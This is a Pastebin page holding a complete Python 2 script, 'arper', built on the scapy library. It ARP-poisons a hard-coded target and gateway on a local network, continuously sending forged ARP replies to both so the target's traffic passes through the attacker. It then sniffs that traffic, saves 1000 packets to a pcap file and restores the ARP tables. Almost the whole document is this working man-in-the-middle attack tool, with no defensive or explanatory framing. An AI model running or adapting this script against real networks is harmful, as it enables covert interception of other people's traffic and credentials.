johnmahugu

python arper

Jun 3rd, 2015
402
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.72 KB | None | 0 0
  1. from scapy.all import *
  2. import os
  3. import sys
  4. import threading
  5.  
  6. interface    = "en1"
  7. target_ip    = "172.16.1.71"
  8. gateway_ip   = "172.16.1.254"
  9. packet_count = 1000
  10. poisoning    = True
  11.    
  12. def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
  13.    
  14.     # slightly different method using send
  15.     print "[*] Restoring target..."
  16.     send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
  17.     send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
  18.    
  19. def get_mac(ip_address):
  20.    
  21.     responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
  22.    
  23.     # return the MAC address from a response
  24.     for s,r in responses:
  25.         return r[Ether].src
  26.    
  27.     return None
  28.    
  29. def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
  30.     global poisoning
  31.    
  32.     poison_target = ARP()
  33.     poison_target.op   = 2
  34.     poison_target.psrc = gateway_ip
  35.     poison_target.pdst = target_ip
  36.     poison_target.hwdst= target_mac
  37.  
  38.     poison_gateway = ARP()
  39.     poison_gateway.op   = 2
  40.     poison_gateway.psrc = target_ip
  41.     poison_gateway.pdst = gateway_ip
  42.     poison_gateway.hwdst= gateway_mac
  43.  
  44.     print "[*] Beginning the ARP poison. [CTRL-C to stop]"
  45.  
  46.     while poisoning:
  47.         send(poison_target)
  48.         send(poison_gateway)
  49.          
  50.         time.sleep(2)
  51.          
  52.     print "[*] ARP poison attack finished."
  53.  
  54.     return
  55.  
  56. # set our interface
  57. conf.iface = interface
  58.  
  59. # turn off output
  60. conf.verb  = 0
  61.  
  62. print "[*] Setting up %s" % interface
  63.  
  64. gateway_mac = get_mac(gateway_ip)
  65.  
  66. if gateway_mac is None:
  67.     print "[!!!] Failed to get gateway MAC. Exiting."
  68.     sys.exit(0)
  69. else:
  70.     print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)
  71.  
  72. target_mac = get_mac(target_ip)
  73.  
  74. if target_mac is None:
  75.     print "[!!!] Failed to get target MAC. Exiting."
  76.     sys.exit(0)
  77. else:
  78.     print "[*] Target %s is at %s" % (target_ip,target_mac)
  79.    
  80. # start poison thread
  81. poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac))
  82. poison_thread.start()
  83.  
  84. try:
  85.     print "[*] Starting sniffer for %d packets" % packet_count
  86.    
  87.     bpf_filter  = "ip host %s" % target_ip
  88.     packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
  89.    
  90. except KeyboardInterrupt:
  91.     pass
  92.  
  93. finally:
  94.     # write out the captured packets
  95.     print "[*] Writing packets to arper.pcap"
  96.     wrpcap('arper.pcap',packets)
  97.  
  98.     poisoning = False
  99.  
  100.     # wait for poisoning thread to exit
  101.     time.sleep(2)
  102.  
  103.     # restore the network
  104.     restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
  105.     sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment